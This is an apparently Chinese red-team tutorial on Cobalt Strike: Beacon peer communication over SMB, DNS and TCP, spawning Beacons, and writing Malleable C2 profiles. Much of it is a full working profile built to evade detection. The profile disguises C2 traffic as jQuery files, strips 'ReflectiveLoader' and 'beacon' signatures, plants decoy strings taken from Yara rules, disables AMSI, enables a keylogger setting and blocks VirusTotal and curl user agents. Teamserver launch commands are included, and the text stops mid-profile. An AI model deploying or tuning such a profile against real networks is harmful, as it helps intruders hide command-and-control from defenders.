取消连接 SMB Beacon 时,它并不会使它消失,而是进入等待连接状态



作为 Payload 通信
(Beacon Peer as a Payload)
当攻击者想对已经植入 HTTP Beacon 主机提权时,
可以选择将 SMB Beacon 作为 Payload 进行派分和通信,当使用此种方法进行通信时,IP 后会存在 ∞∞ 字符

同时,进行提权后作为 Payload 通信的 SMB Beacon 也可以转为进行隐蔽点对点通信

实践可参考:https://www.youtube.com/watch?v=D9tMyRUKSPA

派生一个 SMB Beacon
在 Listeners 中生成 SMB Beacon并保存
中已经上线的目标主机 -> 右键 -> spawn -> 选中Listeners ->choose

运行成功 external 可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon
主Beacon上 用link host链接它 或者unlink host断开它 
链接SMB Beacon命令:link 192.168.23.130

Spawn介绍
beacon> help spawn
Use: spawn [x86|x64] [listener]
     spawn [listener]

Spawn an x86 or x64 process and inject shellcode for the listener.
        
spawn 这个功能,中文意思是“产卵”,
功能就是可以派生出更多的Beacon 让一个团队分布式渗入。
通常我们在团队主服务器上给队友来派生Beacon 这样只要主服务器权限不掉,还能继续操作。
尽量派生出多个Beacon,让我们的操作都在子Beacon。

这里简单叙述下 
    
如何操作从主服务器 派生到 其他队友服务器的过程:
队友服务器Listeners生成 > 团队服务器 Listeners生成 使用队友ip>Spawn
让队友的服务器生成监听
然后团队服务器生成server ip指向队友。

灵活的运用Spawn 不仅可以使团队效率提高,也能较好的维持权限,同时还能结合MSF。
参考链接:https://www.cnblogs.com/lalalaxiaoyuren/p/14117945.html

DNS Beacon

DNS 的查询方式

DNS 协议可以使用 UDP 或者 TCP 进行传输,
使用的端口号都为 53。

但大多数情况下 DNS 都使用 UDP 进行传输

迭代查询:

如果接收者 B 没有请求者 A 所需要的准确内容,
接收者 B 将告诉请求者 A,如何去获得这个内容,但是自己并不去发出请求,相当于从根域名开始查询直到找到目标域名

在这里插入图片描述

递归查询:
如果 A 请求 B,那么 B 作为请求的接收者一定要给 A 想要的答案

在这里插入图片描述
在这里插入图片描述

 
使用DNS来完成Beacon check in的工作,如果DNS返回的记录解析为有需要执行的任务,
那Beacon会使用HTTP来完成获取任务这一过程。



DNS Beacon 原理
DNS Beacon 同时利用了这两种查询方式,详细过程见下图:


其中第 1 步和 11 步属于递归查询,
而第 2 步至第 10 步属于迭代查询,

简单来说就是在层层迭代后,本地 DNS 服务器终于找到了目标域名对应的域名服务器,


而它找到的域名服务器实际上是 Cobalt Strike C2 服务器,最终再由本地 DNS 服务器返回信息给受控主机

数据传递方式
DNS Beacon 支持以下三种 DNS 记录通道传递beacon 和 task list: 

A 记录(mode dns):A记录是最常见的DNS记录形式,一个A记录指向一个网站或域名的IP地址
AAAA 记录(mode dns6):AAAA记录是IPv6协议的一部分,这意味着它们被用来为互联网上的主机分配IPv6地址
TXT 记录(mode dns-txt):允许你以文本格式添加关于你的域名的额外信息,是 DNS Beacon 的默认传递方式
 


DNS Beacon 与 HTTP(S) Beacon 最大的区别是
心跳时不会主动回传被控端的数据,仅有一个最后通联时间返回,

使用 Beacon 控制台输入checkin可使心跳时返回数据,
但如果通过 DNS Beacon 对受控主机执行命令时则会自动执行checkin返回数据

注:

使用的所有域名必须要与 Cobalt Strike Teamserver 服务器绑定
Teamserver 服务器属于内网环境时,需要将公网 IP53 端口映射到内网的  Teamserver 服务器

在这里插入图片描述

TCP Beacon

何为 Socket
Socket 是个略微抽象的概念,
大家可以把 Socket 理解为我们生活中的快递驿站,假设快递公司只知道每个包裹的驿站地址,而驿站负责将包裹再次配送到每家每户


为什么需要Socket进行网络通信?
当操作系统接收到一个数据包的时候,如果只有IP地址(驿站地址),它没法判断应该发给哪个应用程序,

所以,操作系统抽象出 Socket 接口(快递驿站),每个应用程序需要各自对应到不同的 Socket,
数据包才能根据 Socket 正确地发到对应的应用程序

一个 Socket 就是由 IP 地址和端口号(范围是065535)组成,

可以把 Socket 简单理解为 IP 地址加端口号,
端口号总是由操作系统分配,它是一个065535之间的数字,
其中小于1024的端口属于特权端口,需要管理员权限,


大于1024的端口可以由任意用户的应用程序打开

当使用 Socket 连接后:

对服务器端来说,它的 Socket 是指定的 IP 地址和指定的端口号
对客户端来说,它的 Socket 是它所在计算机的 IP 地址和一个由操作系统分配的随机端口号


TCP Beacon 使用 TCP socket 
通过父 Beacon 进行通信,且对同一主机和跨网主机都适用。


TCP Beacon 整体来说与 SMB Beacon 的特性相同,都需要从父 Beacon 对他进行控制,包括兼容性方面也与 SMB Beacon 一致



如果勾选了 Bind to localhost only 就是仅绑定 127.0.0.1 本地 IP,即无法访问远程主机;

默认不勾选则是绑定在 0.0.0.0,即监听所有主机


C2 profile / C2 拓展文件

指 通过修改 C2 profile 控制和配置 cobalt strike Beacon 负载的 流量特征、加密方式、行为模式等 通信特征 的文件,

从而适应不同的攻击场景和逃避不同的防御措施。

C2 profile 是一个简单的程序,指定了如何将数据转换和存储在一个事务中,
以及如何从一个事务中提取和恢复数据。
要使用自定义的 C2 profile,您必须在启动 cobalt strike 的 team server 时指定您的 C2 profile。

许多 Beacon 指标由一个 C2 拓展文件控制。
一个 C2 拓展文件由设置和数据转换组成。

数据转换是一个简单的程序,它指定如何转换数据并将其存储在事务中。
转换和存储数据的同一程序,向后解释,还从事务中提取和恢复数据。

Profile包含内容

 global   
 options  
 https-certificate  
 http-get      
 cliet          
 metadata      
 server          
 output         
 http-post      
 client          
 metadata      
 server          
 output  
 http-stager

语句与参数

自定义参数
    开头指定了一些自定义参数. 
    作用于全局的参数, 统一的语法为 set key "value" 且后面需要加上分号, 
	字符串仅能使用双引号表示.
可以通过反斜杠来表示特殊字符, 例如 n, r, t, ", \, Unicode 字符 u123 和Hex 字符 x123.
 
Bind TCP Beacon 
通过 tcp_port 能够更改目标 Beacon 监听的端口.



这些参数.
set uri "/jquery.min.js";
set uri_x86 "/favicon1.ico";
set uri_x64 "/favicon2.ico";

则只能放在 http-get http-post 和 http-stager 中.


其中 uri 可在 http-get http-post 中指定, 
表示通信时请求的 URL, 例如 /wp-admin.

uri_x86 和 uri_x64 是指
在不同位数的系统上 
stage 过程中所请求的 URL, 两者不能重复. 
个人建议在写的的时候也尽量使用二进制文件的路径, 例如 JPG PNG GIF.





语句

可分为
数据转换语句, 终止语句, 额外语句 (Header and Parameter) 三种类型.

数据转换语句有 
base64	base64方式编码
base64url	base64编码后数据可放入url中
mask	xor异或加密
netbios	SMB 传输过程中针对主机名的编码方式(NetBIOS编码‘a’)
netbiosu	SMB 传输过程中针对主机名的编码方式(NetBIOS编码‘A’)
prepend
append.

终止语句有 
print	将数据存储在body中
uri-append 
header "Cookie"	将数据存储在http头Cookie字段中
parameter "key"	将数据存储在URL中

额外语句有 
header 
parameter.


输出位置

终止语句, 也就是指定传输数据的存放位置.
Malleable C2 提供了 4 种方法: 
print uri-append header parameter, 
分别为存放在 HTTP Body, URL, HTTP 头和 GET 参数中.

终止语句只能写进 
metadata id output 块, 
不能直接放在 client 和 server 里, 
而且终止语句的后面不能有其它语句, 也就是说只能放在代码块末尾.


其中 print 和 uri-append 无须指定参数, 
后两者的格式为 header "Cookie" 和 parameter "action", 
即存放位置为 Cookie 字段和 action 参数. 
 

编码与加密

四种方法中只有 print 能够存放长数据.

举个例子.

metadata {

    base64;
    prepend "token=";
    header "Cookie";

}
将数据进行 base64 编码, 
在其前面添加 token=, 
存放在 HTTP 头的 Cookie 字段中, 

最后的效果为 Cookie: token=BASE64_ENC_DATA.



数据转换语句, 只能写进 metadata id output 块中.
所有的数据转换语句都不需要传参, 
但都不能放在 http-stager 块中 (因为那么点 Payload 长度没空间给你写解码函数).

base64url mask netbios netbiosu. base64url 编码后的数据是可以放在 URL 中的
mask 为异或加密, 
至于 netbios netbiosu 则是在 SMB 传输过程中针对主机名的编码方式.


metadata {

    prepend "token=";
    base64;
    header "Cookie";

} 
以这种顺序编码的话, 它就会将 token= 字符串与数据一起编码,
HTTP 字段就会变成 Cookie: BASE64_ENC_DATA.

伪造与混淆

prepend 和 append 混用.

通过 base64 加密数据, 并在其前后添加 jQuery 代码, 最终通过 HTTP Body 输出.
其中的 prepend 和 append 是可以放进 http-stager 块的, 
两者合理搭配的话能够达到隐蔽的效果. 

例如
分别插入图片开头和末尾的 blob, 把数据留给中间.


 header 和 parameter 添加用于混淆的 HTTP 头和 GET 参数, 

格式为 
header "key" "value" 
parameter "key "value", 

最终的效果是请求了 /jQuery.min.js?ver=1.2.4 这个地址.
与终止语句的不同在于它们的位置不一样. 
header 和 parameter 我称之为额外语句
与终止语句的不同在于 额外语句只能写进 client 和 server 块, 
而不是 metadata id 和 output 块.

调试运行 C2lint

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

Cobalt Strike 默认给我们了 c2lint 用于检查配置文件的语法错误, 同时还能够预览配置后的 HTTP 请求与响应.

检查方法 使用c2lint检查编写的Profile文件是否符合CobaltStrike要求

./c2lint C2_Path

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

调用方法

通过 teamserver 命令的第三个参数指定配置文件.

./teamserver [Teamserver_IP] [Passwd] [C2_Path]

./teamserver 127.0.0.1 NowSec666 C2Profile/C2.profile

Malleable C2 Profile

配置示例

使用 Profile 文件修改Beacon内存特征
下载地址:https://github.com/xx0hcd/Malleable-C2-Profiles

在文件中找到如下代码,并按照下图和以下代码进行修改,其中的#号是注释的意思



    
    
 
chmod 777 c2lint
./c2lint template.profile

校验

在这里插入图片描述

修改HTTP流量特征

修改http流量特征功能默认是开启的
在这里插入图片描述在这里插入图片描述

消除流量特征 隐匿防溯源

在这里插入图片描述

虽然Cobalt Strike在渗透测试使用过程中非常的方便和强大,
但其默认的特征信息使得CS服务端也会很容易被态势感知等监测设备所识别到,

并且vps开启默认端口后也会被情报网站标记为攻击C2vps,
且如果teamserver密码简单也会被反爆破。

因此就需要对Cobalt Strike的流量、特征等进行隐匿。

红队常使用Malleable-C2-Profiles来修改c2配置实现应用层流量混淆
绕过部分安全设备监控,这里就以profile为界限将特征划分为基础特征和强特征

基础特征:使用默认配置时存在的特征,可通过修改profile文件或证书将其隐藏;
强特征:需要修改cobaltstrike源码才能较好去除的这部分特征。

默认配置文件的cobaltstrike交互过程进行了分析,流量中存在很多特征

基础特征

TeamServer默认启动端口50051

修改teamserver
vim teamserver

在这里插入图片描述

http请求

http-beacon通信中,默认使用get方法向/dpixel、/__utm.gif、/pixel.gif /load 等地址发起请求
同时请求头存在cookie字段
并且值为base64编码后的数据。
在这里插入图片描述

cs默认profile


# default sleep time is 60s
set sleeptime "60000";

# jitter factor 0-99% [randomize callback times]
set jitter    "0";

# maximum number of bytes to send in a DNS A record request
set maxdns    "255";

# indicate that this is the default Beacon profile
set sample_name "Cobalt Strike Beacon (Default)";

# define indicators for an HTTP GET
http-get {
    # Beacon will randomly choose from this pool of URIs
    set uri "/test";

    client {
        # base64 encode session metadata and store it in the Cookie header.
        metadata {
            base64;
            header "Cookie";
        }
    }

    server {
        # server should send output with no changes
        header "Content-Type" "application/octet-stream";

        output {
            print;
        }
    }
}

# define indicators for an HTTP POST
http-post {

    set uri "/test.php";

    client {
        header "Content-Type" "application/octet-stream";

        # transmit our session identifier as /submit.php?id=[identifier]
        id {
            parameter "id";
        }

        # post our output with no real changes
        output {
            print;
        }
    }

    # The server's response to our HTTP POST
    server {
        header "Content-Type" "text/html";

        # this will just print an empty string, meh...
        output {
            print;
        }
    }
}






# default c2-http profile 
http-get {
    # Beacon will randomly choose from this pool of URIs
    set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml"; 
}

C2 拓展文件 实例

# 全局配置 

set sample_name "CNM_ExecN0vv_C2_Profiel";
# 设置配置文件名称,此处会显示在输出的报告中。 奇安信 jQuery Spider 
set sleeptime "120000";    
# 设置上线后的睡眠时间 毫秒  心跳时间12秒,单位毫秒   default sleep time is 60s
set jitter "50";   
# 抖动值 0-99% 单位百分比  随机回调事件 参考sleeptime值进行抖动   设置抖动频率
set data_jitter "99";
# 设置数据抖动大小 Beacon项TeamServer发送http-get、http-post数据时采用随机长度,但最长为设置长度  


set maxdns    "255";
# maximum number of bytes to send in a DNS A record request

set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36";
# Win10 Chrome UserAgent 用于模拟正常用户请求  
# 设置请求的 UA,此处可以结合 nginx 反向代理,对 stage 进行隐藏。 
# 此项默认是 IE 的随机 UA,在 CS 小于 4.2 的版本最大字符是 128, CS4.2 以上的版本最大字符是 255   Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08


https-certificate {
	 #  set C "US";  #  Country 国家      
	 #  set CN "GTS CA 1O1";  # Common Name域名      
	 #  set O "Google Trust Service"; # Organization Name 组织名称      
	 #  set OU "certificate Department";  # Organization Unit Name 组织单元名称      
	 #  set validity "63"; # 证书失效天数  
     set keystore "CobaltStrikepro.store";
     set password "x";
}
# SSL 证书配置,用于对 C2 的 https 监听配置签名、自签名证书。 CS 官方建议是:使用可信的证书签名。
# https证书配置-CobaltStrike自签名证书  
# 这部分配置需要与生成的cobaltstrike.store中的配置一致  

#set headers_remove "Strict-Transport-Security, header2, header3";
# 全局选项,强制 Beacon 的 WinINet 在 HTTP/HTTPS 请求中删除指定的请求头。




set tcp_port "12580"; 
# TCP默认端口 TCP Beacon 的相关设置   建议使用高端口监听
set tcp_frame_header "\x80";
#  该配置是在TCP信息前追加特定字符  

# SMB Beacon 的相关设置。
set pipename "amingMMpipe-f##";
# set pipename "mojo.5688.8052.183894939787088877##"; # 普通Chrome命名管道  
#  set pipename "mojo.5688.8052.35780273329370473##"; # 普通Chrome命名管道   
set pipename_stager "amingMMpipe-h##";
set smb_frame_header "\x80";
# 该配置在smb信息前追加的特定字符  
# 使用 SMB 进行对等通信。CS4.1 版本之后加入 SMB Frame Header 选项。
# 不要使用已经存在的命名管道,beacon 不会检测是否与已存在的管道名冲突。配置文件使用者要把 ## 替换成数字





# this is the default profile. Make sure we look like Cobalt Strike's Beacon payload. (that's what we are, right?)
# Clone some header values (Sample from: https://malshare.com/sample.php?action=detail&hash=c6e161a948f4474849d5740b2f27964a)
# ./peclone c6e161a948f4474849d5740b2f27964a
# stage 的相关配置
stage {
    set name     "CCCCCCNNNNNNMMMMMM.dll";
    set userwx         "true";
    # 要求ReflectiveLoader对内存中的Beacon DLL使用或避免读写、执行权限
    set cleanup        "true";
    # 要求Beacon尝试释放与初始化它的反射DLL包关联的内存。 
    set stomppe        "true";
    # 要求ReflectiveLoader 在加载Beacon之后,重新stomp MZ, PE, 和 e_lfanew的值。  disable this little obfuscation
    set obfuscate      "true";
    #从4.2开始,CS现在会混淆rDLL包中的.text部分
	set rich_header    "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
	# 由编译器插入的元数据信息 "\x63\x02\x25\x0f\x27\x63\x4b\x5c\x27\x63\x4b\x5c\x27\x63\x4b\x5c\x9a\x2c\xdd\x5c\x24\x63\x4b\x5c\x2e\x1b\xde\x5c\x3b\x63\x4b\x5c\x2e\x1b\xcf\x5c\x1b\x63\x4b\x5c\x2e\x1b\xc8\x5c\x8f\x63\x4b\x5c\x00\xa5\x30\x5c\x28\x63\x4b\x5c\x27\x63\x4a\x5c\x97\x63\x4b\x5c\x2e\x1b\xc1\x5c\x60\x63\x4b\x5c\x2e\x1b\xd9\x5c\x26\x63\x4b\x5c\x39\x31\xdf\x5c\x26\x63\x4b\x5c\x2e\x1b\xda\x5c\x26\x63\x4b\x5c\x52\x69\x63\x68\x27\x63\x4b\x5c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
	set smartinject    "true";
	# 模糊反射DLL的导入表,覆盖未使用的头内容,并要求ReflectiveLoader将Beacon复制到没有其DLL头的新内存中。
	
    set module_x86 "cnm.dll";
    set module_x64 "cnm.dll";

	# make these things havex-ish
	transform-x86 {
		prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
		# 在shellcode前追加内容
		#strrep "ReflectiveLoader" "execute"; # Change this text
		# 删除敏感字符
		strrep "This program cannot be run in DOS mode" ""; # Remove this text
		#strrep "ReflectiveLoader" "RunDllEntry";
		strrep "ReflectiveLoader" "";
		#strrep "beacon.dll" "";
		strrep "beacon" "";
	}

	transform-x64 {
		prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
		#strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
		#strrep "ReflectiveLoader" "RunDllEntry";
		strrep "ReflectiveLoader" "";
		#strrep "beacon.x64.dll" "";
		strrep "beacon" "";
	}
	string "ExecN0vv";
















    set compile_time   "11 Nov 2099 01:01:69";
	

	# CS 3.12 Addition "Obfuscate and Sleep"
    set sleep_mask     "true";
    # CS 4.1

	

	

	
    

	# 用另一个值覆盖Beacon的反射加载程序使用的PE字符标记。
    #set magic_pe       "NO"
	
	# PE头部校验值 
	set checksum       "0";
	# PE头入口值
	set entry_point    "134733";
	set image_size_x86 "348160";
	set image_size_x64 "348160";
	# 32位PE头镜像大小
    
	# 64位PE头镜像大小
      


	 


	
	# strings gathered from Yara rules and sandbox string dumps
	stringw "%s <%s> (Type=%i, Access=%i, ID='%s')";
	stringw "%02i was terminated by ThreadManager(2)\n";
	stringw "main sort initialise ...\n";
	stringw "qsort [0x%x, 0x%x] done %d this %d\n";
	stringw "{0x%08x, 0x%08x}";
	stringw "Programm was started at %02i:%02i:%02i\n";
	stringw "a+";
	stringw "%02i:%02i:%02i.%04i:";
	stringw "**************************************************************************\n";
	stringw "Start finging of LAN hosts...\n";
	stringw "Finding was fault. Unexpective error\n";
	stringw "Hosts was't found.\n";
	stringw "\t\t\t\t\t%O2i) [%s]\n";
	stringw "Start finging of OPC Servers...";
	stringw "Was found %i OPC Servers.";
	stringw "\t\t%i) [%s\\%s]\n\t\t\tCLSID:          %s\n";
	stringw "\t\t\tUserType:        %s\n\t\t\tVerIndProgID:    %s\n";
	stringw "OPC Servers not found. Programm finished";
	stringw "Start finging of OPC Tags...";
	stringw "[-]Threads number > Hosts number";
	stringw "[-]Can not get local ip";
	stringw "[!]Start";
	stringw "[+]Get WSADATA";
	stringw "[+]Local:"; 
	stringw "[-]Connection error";
	stringw "Was found %i hosts in LAN:";
	stringw "%s[%s]!!!EXEPTION %i!!!";
	stringw "final combined CRC = 0x%08x";
	stringw "jQuery"; # Add this string to the DLL
}



 dns-beacon { 
set dns_idle "8.8.8.8"; 
# Beacon不用时指定到的dns地址
set dns_max_txt "252"; 
# txt最大传输长度  
set dns_sleep "0"; 
# 每个单独dns请求前强制睡眠时间 
set dns_ttl "5"; 
# dns解析在服务器留存时间 
set maxdns "255"; 
# 通过DNS上传数据时,最大主机名长度  
set dns_stager_prepend ".resources.123456."; # 将字符串放在通过DNS TXT记录交付的编码有效负载阶段之前      
set dns_stager_subhost ".feeds.123456."; # dns txt记录使用的子域  
set beacon "a.bc.";      
set get_A "b.la.";      
set get_AAAA "c.4a.";      
set get_TXT "d.tx.";      
set put_metadata "e.md.";      
set put_output "f.po.";      
set ns_response "zero";    
			}






# spawnto 的相关配置
# spawnto设置控制beacon生成的进程以便后渗透利用工作,以及何时使用spawn命令。该命令也可以使用命令行参数。
post-ex {
	#svchost.exe是微软Windows操作系统中的系统文件  许多服务通过注入到该程序中启动,所以会有多个该文件的进程
	#set %windir%\\sysnative\\svchost.exe -k localservice -p -s fdPHost
    # Optionally specify non-existent filepath to force manual specification based on the Beacon host's running processes
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    # Hardcode paths like C:\\Windows\\System32\\dllhost.exe to avoid potential detections for %SYSNATIVE% use. !! This will break when attempting to spawn a 64bit post-ex job from a 32bit Beacon.
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    # change the permissions and content of our post-ex DLLs
    set obfuscate "true";
    # pass key function pointers from Beacon to its child jobs
    set smartinject "true";
    # disable AMSI in powerpick, execute-assembly, and psinject
    set amsi_disable "true";
    # Modify our post-ex pipe names
    set pipename "Winsock2\\CatalogChangeListener-###-0,";
    set keylogger "GetAsyncKeyState";
    #set threadhint "module!function+0x##"
}




# http stager 的相关配置

http-stager {
    # x86的请求地址
    set uri_x86 "/jquery-3.3.1.slim.min.js";
  	# x64的请求地址
    set uri_x64 "/jquery-3.3.2.slim.min.js";

    server {
    	  # 服务端的相关配置
    		# 设置header 信息
        header "Server" "NetDNA-cache/2.2";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "application/javascript; charset=utf-8";
        output {
            ## 在实际的请求中追加jquery字符串进行伪装。
            prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
            # 1st Line
            prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
            append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
            print;
        }
    }

    client {
    		# 设置客户端请求的请求头信息。
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Accept-Language" "en-US,en;q=0.5";
        #header "Host" "code.jquery.com";
        header "Referer" "http://code.jquery.com/";
        header "Accept-Encoding" "gzip, deflate";
    }
}

















# HTTP 服务的相关配置
http-config {
  	# 设置http头信息
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server" "Apache";
    header "Keep-Alive" "timeout=10, max=100";
    header "Connection" "Keep-Alive";
    # 如果您的teamserver位于重定向器后面,请使用此选项
    set trust_x_forwarded_for "true";
    # 检测到某些UA的请求,会针对性的返回404
    set block_useragents "*virustotal*,curl*,lynx*,wget*";
}






# HTTP 服务的相关配置  define indicators for an HTTP GET
http-get {
	#  设置请求接口, 可以添加多个URI。Beacon会随机从中选取
	set uri "/include/template/isx.php /wp06/wp-includes/po.php /wp08/wp-includes/dtcla.php /jquery-3.3.1.min.js  /system/role/list";
	# 设置请求方法
    set verb "GET";

	client {
		header "Referer" "http://www.baidu.com";
		header "Accept" "*/*";
		header "Connection" "Close";
		header "Content-Type" "application/json";
		# header "Accept" "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		header "Accept-Language" "en-us,en;q=0.5";
		#header "Accept-Encoding" "gzip, deflate";

		# base64 encoded Cookie is not a havex indicator, but a place to stuff our data
		metadata {
			base64; 
			netbios;
			header "Cookie";
			prepend "cf=";
		}
	}

	server {
		header "Content-Type" "application/json";
		header "Server" "Apache/2.2.26 (Unix)";
		header "X-Powered-By" "PHP/5.3.28";
		header "Cache-Control" "no-cache";
		header "Content-Type" "text/html";
		header "Keep-Alive" "timeout=3, max=100";

